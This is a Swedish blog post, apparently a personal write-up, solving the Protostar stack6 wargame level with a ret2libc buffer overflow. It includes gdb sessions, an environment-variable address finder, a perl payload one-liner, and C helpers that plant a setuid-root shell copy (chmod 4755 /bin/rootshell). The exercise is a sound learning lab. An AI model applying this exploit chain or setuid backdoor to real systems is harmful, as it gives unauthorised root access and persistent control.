Protostar och stack6

Dags för stack6

Stack6

Ok här kan vi inte exekvera kod som ligger inom 0xbf. Detta då följande
ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf(”bzzzt (%p)\n”, ret);
_exit(1);
}
förhindrar det hela.

Så det lättaste är nog att exekvera något som inte finns i stacken. Utan tex som de skriver en ret2libc.
Och då ska vi först leta upp adressen till system.

user@protostar:/opt/protostar/bin$ gdb /opt/protostar/bin/stack6
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type ”show copying”
and ”show warranty” for details.
This GDB was configured as ”i486-linux-gnu”.
For bug reporting instructions, please see:

Reading symbols from /opt/protostar/bin/stack6…done.
(gdb) break 1
Breakpoint 1 at 0x804848a: file stack6/stack6.c, line 1.
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, getpath () at stack6/stack6.c:11
11 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) print system
$1 = {} 0xb7ecffb0 <__libc_system>
(gdb)
Sen måste vi vet hur system fungerar och det är helt enkelt genom att
system(”/tmp/sh”);
Så det är en parameter
Så vi slänger först in 0xb7ecffb0 efterföljt av en retur adress för funktionen system. Och eftersom vi itne bryr oss om den så kör vi med bbbb och sen adressen till variabeln /tmp/sh

Så vi exporterar export TMPSHELL=” /tmp/sh”
Space fungerar lite som NOP’arna när vi försökte exekvera kod på stacken fast nu ska vi exkevera ett kommado.
Ok, då ska vi leta upp TMPSHELL
För att göra det så lätt som möjligt så använder vi getenvaddr från The art of exploitation boken.
#include
#include
#include

int main(int argc, char *argv[]) {
char *ptr;

if(argc < 3) { printf("Usage: %s \n”, argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) – strlen(argv[2]))*2; /* adjust for program name */
printf(”%s will be at %p\n”, argv[1], ptr);
}

Och då säger den
user@protostar:/tmp$ getenvaddr TMPSHELL /optt/protostar/bin/stack6
TMPSHELL will be at 0xbfffff9f
Fast man kanske ska skriva rätt så blir det istället.
user@protostar:/tmp$ getenvaddr2 TMPSHELL /opt/protostar/bin/stack6
TMPSHELL will be at 0xbfffffa1

Ok då har vi 0xb7ecffb0 efterföljt av bbbb efterföljt av 0xbfffffa1 så bör det räcka.
Fast först ska vi veta hur lång bufferten är
Så gdb /opt/protostar/bin/stack6
(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

Och sen med lite pattern_offset.rb så får vi reda på att det är 80 skräptecken för att fylla bufferten

Får inte exploiten att f ungera så testar får se om min tmpshell verkligen finns där den ska finnas.

0xbfffffa2: ”TMPSHELL=”, ‘ ‘ , ”/tmp/sh”
Fixade en coredump och visar sig att den inte var där vi trodde.
Så nu när det är hittat så ändrar vi koden

perl -e ‘print ”A”x80 . ”\xb0\xff\xec\xb7″ . ”aaaa” . ”\xb3\xff\xff\xbf”‘ | /opt/protostar/bin/stack6

Och /tmp/sh är
#include
void main() {
setuid(0);
setgid(0);
system(”cp /tmp/rootshell /bin/rootshell”);
system(”chmod 4755 /bin/rootshell”);

}

Och /tmp/rootshell är
#include

void main() {

setuid(0);
setgid(0);
system(”/bin/bash”);
}

Så då var ret2libc löst.

Tror det var allt för idag. Så får fortsätta någongång senare.

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>